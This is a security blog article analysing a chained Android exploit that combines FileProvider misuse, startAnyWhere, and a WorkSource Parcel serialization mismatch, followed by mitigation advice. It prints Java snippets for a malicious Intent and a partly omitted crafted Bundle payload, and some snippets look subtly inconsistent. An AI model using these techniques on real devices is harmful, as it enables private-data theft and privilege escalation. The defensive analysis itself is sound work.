Information Security 19 min read

Analysis of Android FileProvider, startAnyWhere, and Parcel Asymmetric Vulnerabilities and Exploitation

The article dissects three Android flaws—a misconfigured FileProvider, the privileged startAnyWhere capability, and asymmetric Parcel serialization—showing how their interaction lets an attacker hide a malicious Intent, bypass export checks, read private data, alter system settings, and gain elevated privileges, while outlining mitigation strategies.

vivo Internet Technology
vivo Internet Technology
vivo Internet Technology
Analysis of Android FileProvider, startAnyWhere, and Parcel Asymmetric Vulnerabilities and Exploitation

This article provides a comprehensive analysis of three Android security issues—FileProvider misuse, the startAnyWhere capability, and asymmetric Parcel serialization bugs—and demonstrates how they can be combined to achieve practical exploitation.

Background : The vulnerability leverages Android's Parcel serialization/deserialization mismatch, an unrestricted FileProvider path, and the system's privileged startAnyWhere ability to obtain sensitive user data, modify system configuration, and gain elevated privileges on virtually any Android device.

FileProvider Overview : FileProvider is a ContentProvider‑based component that enables inter‑process file sharing while allowing the Android system (AMS) to enforce permissions. Traditional file sharing (direct external‑storage paths) suffers from uncontrolled permissions, inability to revoke access, directory exposure, and privacy leaks. FileProvider mitigates these issues by exposing files through a content:// URI that the system can control.

FileProvider Usage :

Intent intent = new Intent();
intent.setAction("");
Uri uri = FileProvider.getUriForFile(getContext(), "", file);
intent.setType(getContext().getContentResolver().getType(uri));
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
startActivity(intent);

Configuration is defined in the AndroidManifest:

and the corresponding paths XML:

Typical permission flags used with FileProvider are:

// First way
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
// Second way
getContext().grantUriPermission("packageName", uri, Intent.FLAG_GRANT_READ_URI_PERMISSION);

startAnyWhere : This capability allows an app to launch any Activity regardless of its exported attribute. Only system‑level apps (SystemUid) have this ability. The article shows a system‑settings flow that calls AccountManager.addAccount , which eventually triggers a Bundle containing an Intent . If the Intent is malicious, the system will start the target Activity without user interaction.

System check code (Android 4.4+):

if (result != null && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
    if (!checkKeyIntent(Binder.getCallingUid(), intent)) {
        onError(AccountManager.ERROR_CODE_INVALID_RESPONSE, "invalid intent in bundle returned");
        return;
    }
}

The vulnerability arises because the KEY_INTENT is serialized into a Bundle using Parcel. An asymmetric read/write implementation can cause the serialized data to be interpreted differently on a second deserialization, effectively hiding the malicious Intent.

Parcel Asymmetry : Parcel is Android’s binary serialization format that expects symmetric write/read operations. Example of symmetric methods:

public void writeToParcel(Parcel dest, int flags) {
    dest.writeInt(mSize);
}
public void readFromParcel(Parcel in) {
    mSize = in.readInt();
}

When the implementation is asymmetric (e.g., writing a long but reading an int ), the extra bytes shift subsequent fields, leading to data corruption that can be exploited.

Two concrete cases are presented:

Explicit mismatch: writeLong() vs. readInt() .

Subtle mismatch in WorkSource where an empty mChains list writes two zeros but reads only one, leaving an extra zero that later becomes part of the next field.

WorkSource serialization snippet:

public void writeToParcel(Parcel dest, int flags) {
    dest.writeInt(mNum);
    dest.writeIntArray(mUids);
    dest.writeStringArray(mNames);
    if (mChains == null) {
        dest.writeInt(-1);
    } else {
        dest.writeInt(mChains.size()); // writes first zero
        dest.writeParcelableList(mChains, flags); // writes second zero
    }
}

WorkSource deserialization snippet:

WorkSource(Parcel in) {
    mNum = in.readInt();
    mUids = in.createIntArray();
    mNames = in.createStringArray();
    int numChains = in.readInt(); // reads first zero
    if (numChains > 0) {
        mChains = new ArrayList<>(numChains);
        in.readParcelableList(mChains, WorkChain.class.getClassLoader());
    } else {
        mChains = null; // second zero remains unread
    }
}

Exploit Flow :

Attacker manually serializes a Bundle containing three key‑value pairs: a legitimate WorkSource entry, a crafted entry, and the malicious KEY_INTENT .

The system deserializes the bundle once (no asymmetry triggered) and validates the Intent, which appears benign.

The system re‑serializes the bundle; due to the asymmetric WorkSource , the extra zero shifts the data.

The Settings app deserializes the bundle again; the shift causes the hidden KEY_INTENT to be interpreted as a valid Intent, which is then launched via startActivity , achieving startAnyWhere.

Real‑world demonstrations include:

Opening the lock‑screen password settings on an emulator and bypassing password verification.

On a physical device, using an AssistActivity that directly forwards an external Intent to startActivityForResult , allowing the attacker to share private files and modify them.

Malicious Intent construction example:

private Intent makeFileIntent() {
    Intent intent1 = new Intent().setComponent(new ComponentName("XXX", "xxx.xxx.AssistActivity")); // Open AssistActivity
    Uri uri = Uri.parse("content://xxxx/xxx_info");
    Intent intent2 = new Intent(mContext, SecondActivity.class); // Open attacker page and share file
    intent2.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    intent2.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    intent2.setType(mContext.getContentResolver().getType(uri));
    intent2.setData(uri);
    intent1.putExtra("key", intent2); // Embed malicious intent2
    return intent;
}

Bundle creation (simplified) used to craft the asymmetric payload:

private static Bundle makeEvilIntent(Intent intent) {
    Bundle bundle = new Bundle();
    Parcel obtain = Parcel.obtain();
    Parcel obtain2 = Parcel.obtain();
    obtain2.writeInt(3); // key‑value count
    obtain2.writeString("firstKey");
    obtain2.writeInt(4); // VAL_PARCELABLE
    obtain2.writeString("android.os.WorkSource");
    obtain2.writeInt(-1); // mNum
    obtain2.writeInt(-1); // mUids
    obtain2.writeInt(-1); // mNames
    obtain2.writeInt(1); // mChains length
    obtain2.writeInt(-1);
    // ... omitted additional construction
    bundle.readFromParcel(obtain);
    return bundle;
}

Impact : Successful exploitation enables reading user privacy data, installing malicious apps, tampering with dynamically loaded code, modifying system configuration, and obtaining privileged permissions.

Mitigation Measures :

System level : Fix asymmetric Parcel implementations; enforce double‑serialization checks during Intent validation.

Application level : Restrict FileProvider paths to the minimum required; add signature or package whitelist for exported components; rigorously validate incoming Intents and URLs; avoid exporting components when unnecessary.

Prevention Recommendations :

Export components only when required.

Apply signature or package verification for exported components.

Validate all Intent and URL parameters.

Follow the principle of least privilege for file sharing.

Encrypt sensitive content.

AndroidsecurityexploitFileProviderParcel VulnerabilitystartAnyWhere
vivo Internet Technology
Written by

vivo Internet Technology

Sharing practical vivo Internet technology insights and salon events, plus the latest industry news and hot conferences.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.